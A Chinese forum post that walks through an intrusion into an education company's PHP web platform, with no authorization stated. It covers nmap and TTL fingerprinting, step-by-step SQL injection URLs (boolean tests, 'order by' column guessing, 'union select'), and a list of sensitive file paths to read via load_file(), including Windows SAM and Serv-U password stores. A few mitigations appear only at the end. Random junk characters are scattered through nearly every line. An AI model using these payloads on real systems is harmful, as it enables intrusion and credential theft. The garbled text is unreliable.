找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2265|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
: m1 ~& l% Z& T' ]6 n( ?一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……6 s; S! H' f6 i1 h
第一步:获取需要的信息
8 W- V4 ^; r( a/ B3 k由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。% s( H5 t3 b2 t3 m' ]
注:以下为保护特用XXX代替敏感信息
0 S4 ~4 o# O7 {4 J7 N5 A顺手先PING了一下他们的域名:
' }9 A* {- E5 H& N4 T3 Wping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
2 B% N7 C2 b3 u, J8 |8 Q& @64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
# |' F% l2 u7 D' ~3 w顺便了解一下TTL,学好基础知识才能一路顺风:1 ~% k: g- h# g, P7 j! z
TTL:(Time To Live ) 生存时间0 X& d- p2 r9 X* K
指定数据包被路由器丢弃之前允许通过的网段数量。3 v4 l' a& C* T' J- h! i+ R
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。! {4 O- u4 b( N5 G  W2 z% `8 D6 D
使用PING时涉及到的 ICMP 报文类型
9 S8 O- `/ s' L% s一个为ICMP请求回显(ICMP Echo Request)
- X/ n4 V9 F2 @5 Z一个为ICMP回显应答(ICMP Echo Reply)9 x0 @! D0 t/ d1 J% G
TTL 字段值可以帮助我们识别操作系统类型。
9 ?5 c- J1 [6 d2 ~# U+ }; }UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
/ I3 U: o6 l0 Y/ zCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
" v. [" X3 ~( U微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
6 x$ p0 T. E9 J* u! S& X9 F0 H微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
, i, W1 `2 n. B8 O6 R/ `' _/ o当然,返回的TTL值是相同的$ V1 X7 k0 M4 G1 [6 ]
但有些情况下有所特殊
1 x: N# D6 T+ w* w9 l! wLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
5 i! g) j# {! s9 h+ RFreeBSD 4.1, 4.0, 3.4;( k4 A1 g0 l) w
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;% }# F. q, ?) q) p- T" l
OpenBSD 2.6, 2.7,) s/ |) c, U8 x; E2 c" e/ S
NetBSD
9 t4 a1 h5 B+ D4 t- d5 jHP UX 10.20
; r( J$ b- A' P9 I' ^ICMP 回显应答的 TTL 字段值为 255! E$ L& ~4 N- H% ]4 d) ~
Windows 95/98/98SE
; d/ p. y  i# N% n3 QWindows ME
4 ^1 }+ }1 j6 y$ qICMP 回显应答的 TTL 字段值为 32
: C3 d4 d9 u) R# c) YWindows NT4 WRKS
, O8 k* I+ E3 fWindows NT4 Server6 {: |7 G1 @$ v6 P6 I
Windows 2000
/ M8 A4 ]# M: A! V  r. F& `' W" n. _Windows XP( a3 p& {* b  P; p
ICMP 回显应答的 TTL 字段值为 128$ @7 h+ I5 x' B) o6 t" ?5 w/ m0 H2 |" n
这样,我们就可以通过这种方法来辨别操作系统  Y5 ~: R4 G  a
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
, U' r9 D  i2 q; D, P( E/ }; l用NMAP扫描一下:
9 [( H& b: h% ?* H- Xnmap -sT -O XXX.XXX.XXX.XXX
; X( f4 _8 f4 C: m  M/ ~如果没有装WinPcap则会弹出提示:
# i4 r. O  q& X3 CWARNING: Could not import all necessary WinPcap functions.  You may need to upgr5 @; P1 T0 _$ [# ^6 r" J
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(6 r: s* M7 @5 j4 z( F5 l9 \. C4 Q
) mode — Nmap may not function completely
* \/ ?- E8 R) P4 G3 CTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher8 U3 C0 `8 B8 F/ j& z6 t; y
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
) h: {. ~/ ?3 N; @2 w9 Lpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
( i7 l" s7 X. E. Cd later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
" J3 j% d. Q; B% c9 \, versions, you may be able to take iphlpapi.dll from another system and place it i4 u* C3 N9 g; ]2 A1 e1 W
n your system32 dir (e.g. c:\windows\system32).
0 i* L" F9 m# [: t* |. |QUITTING!
! P! M" C6 g. g- _到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe# m3 c' Y) I9 b* I# j. V/ r, N
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:# K! x6 q  t. h! A; ~7 U1 U
Interesting ports on XXX.XXX.XXX.XXX:
: v$ C' l, Y% k# @/ p% \- o5 yNot shown: 986 closed ports
% }8 H3 J+ T9 X# r# gPORT     STATE    SERVICE. E1 U) w' ]) c) J
21/tcp   open     ftp: b8 E6 {0 g  N
22/tcp   open     ssh
1 {) C, X  T) @7 X: P. h7 Y23/tcp   open     telnet1 X3 B8 E$ f" i! |0 l7 V
80/tcp   open     http
8 @4 a' S; A' z7 w* N. h2 b' ~' u111/tcp  open     rpcbind
# z  B  s, }* M! r' |! t135/tcp  filtered msrpc+ w4 q7 J. T9 L! p
139/tcp  filtered netbios-ssn
8 r' ?1 P8 A; ^445/tcp  filtered microsoft-ds5 |  ]' i- v) l6 a# K
513/tcp  open     login
+ D3 D. B- D/ x* \2 n8 W  l514/tcp  open     shell5 Q; t% d1 _3 r6 v/ n
593/tcp  filtered http-rpc-epmap
9 j& N  z4 h/ Y6 ?1720/tcp filtered H.323/Q.931) `$ m6 N  i: L9 S1 h- G
3306/tcp open     mysql
& I, O: l# \/ {* x7 H" O( |: x4444/tcp filtered krb524
; A  U9 x# n) j% ?  c: H3 UDevice type: WAP
& q3 M& l0 _, _7 }Running: Linux 2.4.X" _7 e0 i7 r: H& [2 H
OS details: DD-WRT (Linux 2.4.35s)+ |  y0 c3 y: t9 x6 U
Network Distance: 13 hops5 h4 n7 h. E) l) i. X  Y  `
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
9 p: q5 Q/ s/ k& {4 o) w2 P6 Hlogin as:
* A% g- L4 T. `0 G3 }, s/ l: q  ITelnet23端口也是开着的,用telnet 命令链接一下:
. K$ Z9 j2 M& l; l: htelnet XXX.XXX.XXX.XXX8 G6 y, t! ^. n
提示:0 @( ?- J% b- Y6 Q# X
Red Hat Enterprise Linux Server release 5.2 (Tikanga)* P+ l( p: C7 H' U
Kernel 2.6.18-92.el5PAE on an i686
) z  G1 m1 J4 B3 C/ ~login:
: d' C9 e2 x7 G8 K9 ~. @6 F获取HTTP头信息:
; n4 X) {- Q, @2 @' w  ~% Y在本地执行如下PHP代码
. J" R4 d/ P! N0 Z' ?  g, y<?php
* ?3 V" Y* a2 e7 B$url = ‘XXX.XXX.XXX.XXX’;$ n( n) p9 x  b% @! b9 f. c5 H
print_r(get_headers($url));
( @4 ^! B8 b7 k1 ?print_r(get_headers($url, 1));7 D/ Y/ o& G7 e% D  z
?>( G* v! d. q1 {( @+ O9 [! [
将以上代码保存为PHP文件,执行:
! k8 e  x9 _. i* }! h9 I- v, lArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
' W9 f+ n) M: `  m$ D5 d' ^6 q现在可以得出结论:1 H  W; j: `+ j$ D) E) K
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
6 e6 V6 F/ E1 T& H9 q内核版本:Kernel 2.6.18-92.el5PAE on an i686
1 S. V( {- @6 {' Q0 f. |WEB服务器版本:nginx/0.7.61
  |' w! s9 @3 k0 Q8 e第二步,开始测试寻找漏洞" E  M3 _' ~+ J; _/ H7 I1 Q
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
4 _& y: W+ X; J/ J0 y# \- E7 j1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
. e6 I: p4 \2 J$ q. v/ Z3 b1 T/ ^2、测试方法:在地址后加 and 1=1 和 and 1=2 测试1 M1 M! U9 z, V- e! n
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常" b( C8 T; \7 F# C
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误  y; c9 Z  P2 [" U; I$ ^+ t0 D
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续1 H9 }+ p6 Z+ u2 P! R  {( }
3、手工注入:
: o2 `; F' B' J3 |- f' d! U注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
, {5 ]2 X4 @6 p& F4 {3.1 猜测当前表字段数
; ]* D' v) r' c0 z7 uhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10, l# S( i4 W( c  x0 L  |, X
此处猜测有个简单的算法,都是有技巧的吗,呵呵$ d: b- K9 m4 }- H
算法简单如下:/ p- @' e+ J" E6 H+ R# f$ x
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
+ B4 V) @* L1 b" u7 J$ y第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;0 u1 P3 T9 ^- X8 B* s# o
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
* {; ?0 }! X  X* S以此来判断,是否过界,配合取中算法猜出字段数。
  @( u# ^0 y) l' N* F9 a6 Q" U# v举例:
3 w- ~0 [, h: |* _: Z$ bhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
( l9 {8 K& s/ ]; A) n7 nhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
6 h) }0 _: K2 G+ w4 @  }# Y9 @此时3则为我们要找的字段数。( M/ r& c+ ~) d1 ]6 W: O4 B2 C8 N
3.2 配合union联合查询字段在页面所位置7 Q; \% X" Y: t5 ?$ K3 Q0 ~& I: B, M
我们已经知道了字段数为3,此时则可以做如下操作:
6 o/ v% p% e2 g2 n! k+ H8 Ihttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
6 }: o! t- D$ u: e; d& s) b# t: I' |
这样就可以测试到哪些字段在页面上有所显示了,如图:: ]* f$ Z. y& n- O5 L

7 K; T* d( c2 t# j3.3 查敏感信息4 {6 Y' [4 Q( f# i
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。4 y6 B8 k3 c3 s/ P( E% K0 Z5 Z
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
  @  s* _6 A9 G( k* }# p% v3.3.1 先查数据库用户、数据库名,以备后用,如图:  ^+ |. l& D2 a. V6 j! A

4 X, s" n, _- z9 y, f8 g# W2 w% {" R得到数据库用户为root、数据库名为DBxx;5 D# K% \' g) o, ?, V
3.3.2 查配置文件5 l8 h9 d& m1 _
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。  C+ X: o* A: ]3 B
查看文件有一定的条件限制:3 f4 `( k% M9 \1 [( S
欲读取文件必须在服务器上
( I6 J3 }) T8 R% z; V6 W必须指定文件完整的路径
: P7 P8 S* W* s5 o: V/ n% y0 D$ M& }8 j必须有权限读取并且文件必须完全可读
/ X& m$ h$ d, s1 y4 L! }+ D欲读取文件必须小于 max_allowed_packet
+ O/ B2 ?, P7 W# h! C5 w* F: BMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
0 _7 a  M; j6 o2 p常用的一些:
' i2 q- G& e) O/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
' A: j7 t# ?+ O. s3 X: K/usr/local/apache2/conf/httpd.conf
6 S& o1 W% w. `* k/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
4 y2 o% A$ i& o7 X% \8 O/usr/local/app/php5/lib/php.ini //PHP相关设置
% U- F4 S# b$ U  ~2 v" q/etc/sysconfig/iptables //从中得到防火墙规则策略3 S4 i' x' R. H2 D
/etc/httpd/conf/httpd.conf // apache配置文件
+ W% F  s& p) `4 A+ B/etc/rsyncd.conf //同步程序配置文件
+ g. g2 R) G" G2 T7 ^+ {0 p$ s1 i  w/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
- l  P& @& Q! [6 S: x/etc/my.cnf //mysql的配置文件
6 C' q- a9 ]: [. H9 e/etc/redhat-release //系统版本
5 A5 H4 B& D& Y) i: }/etc/issue  J6 n' S4 R9 k. Z" |7 |6 I( q
/etc/issue.net
' n  U3 X) _' ?/ \; qc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码9 C$ f% g. h: J4 y. {* \- w, M" f
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码, [1 h, \& \5 s8 ~% n# _
c:\Program Files\Serv-U\ServUDaemon.ini) u' i0 I9 ~4 x! x" K0 \) ?
c:\windows\my.ini //MYSQL配置文件+ m6 j8 Q# V9 ?8 _8 Y1 C; ]
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
" E9 B; S# m! W, w+ C/ u* @) ]等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,( Q/ }+ L4 P. |, r/ u0 p  [* O$ G. p
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码, f4 H4 U3 Z- o$ Z& v* m
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此: d' v& `; I' u+ c. ^" M
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
4 ~7 i% ]. n! r6 ^! b, e& Y# @C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件( \7 i% G0 e0 N2 |! ~  x
//存储了pcAnywhere的登陆密码# c$ {2 ]9 A& r% z- f. s
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
7 [7 ?+ B/ M" X6 I+ B% \6 J这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
3 s/ h) d- Y( l# E! J$ H  L最后:防范措施: x. J$ s+ A- B1 R" N- n
1、修复PHP注入漏洞;
/ _- g2 W: }- i4 ]2、Mysql使用普通权限的用户;
  n1 n# I9 u; u8 j: p2 G3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表